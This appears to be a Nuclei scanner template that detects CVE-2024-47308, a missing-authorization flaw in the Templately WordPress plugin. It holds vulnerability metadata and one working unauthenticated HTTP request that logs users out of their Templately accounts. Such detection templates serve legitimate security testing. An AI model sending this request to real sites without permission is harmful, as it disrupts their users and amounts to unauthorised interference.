id: CVE-2024-47308

info:
  name: Templately <= 3.1.2 - Broken Access Control
  author: popcorn94
  severity: medium
  description: |
    Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately&path=sign-in to sign in then logout.
  impact: |
    Attackers can access restricted functionalities, potentially leading to unauthorized actions or data exposure.
  remediation: |
    Update to the latest version of Templately that addresses this issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/templately/templately-312-missing-authorization
    - https://patchstack.com/database/vulnerability/templately/wordpress-templately-plugin-3-1-2-broken-access-control-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-47308
    cwe-id: CWE-862
    epss-score: 0.01695
    epss-percentile: 0.74136
    cpe: cpe:2.3:a:templately:templately:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: templately
    product: templately
    framework: wordpress
  tags: cve,cve2024,wpscan,wp-plugin,templately,wordpress,vkev

http:
  - raw:
      - |
        POST /wp-json/templately/v1/logout?_locale=user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status\":\"success","message\":\"Logged out.")'
        condition: and
# digest: 4a0a004730450221008f8a975d6fd33b910dfa0c94fa8983a444f0901062309388dcf9bdd4e106559d02200707f66f56bea0164b0718b90236fb56f7e295ec9aebfe7cc2cd2fa45d8eb4bb:922c64590222798bb761d5b6d8e72950